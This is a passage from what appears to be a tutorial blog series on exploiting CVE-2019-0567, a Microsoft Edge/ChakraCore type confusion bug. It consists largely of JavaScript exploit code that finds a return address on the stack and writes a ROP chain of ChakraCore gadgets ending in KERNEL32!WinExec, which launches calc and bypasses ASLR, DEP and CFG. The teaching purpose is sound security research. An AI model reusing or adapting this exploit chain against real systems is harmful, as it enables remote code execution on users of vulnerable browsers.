        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x40802, chakraHigh);      // 0x1800d7ff7: pop rdx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000);            // 0
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x5e330, kernel32High);  // KERNEL32!WinExec address
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x7be3e, chakraHigh);      // 0x18003e876: jmp rax
    counter+=0x8;
}

main();

As we can see, we achieved code execution via type confusion while bypassing ASLR, DEP, and CFG!

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Conclusion

As we saw in part two, we took our proof-of-concept crash exploit to a working exploit to gain code execution while avoiding exploit mitigations like ASLR, DEP, and Control Flow Guard. However, we are only executing our exploit in the ChakraCore shell environment. When we port our exploit to Edge in part three, we will need to use several ROP chains (upwards of 11 ROP chains) to get around Arbitrary Code Guard (ACG).

I will see you in part three! Until then.

Peace, love, and positivity 🙂

 

 

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...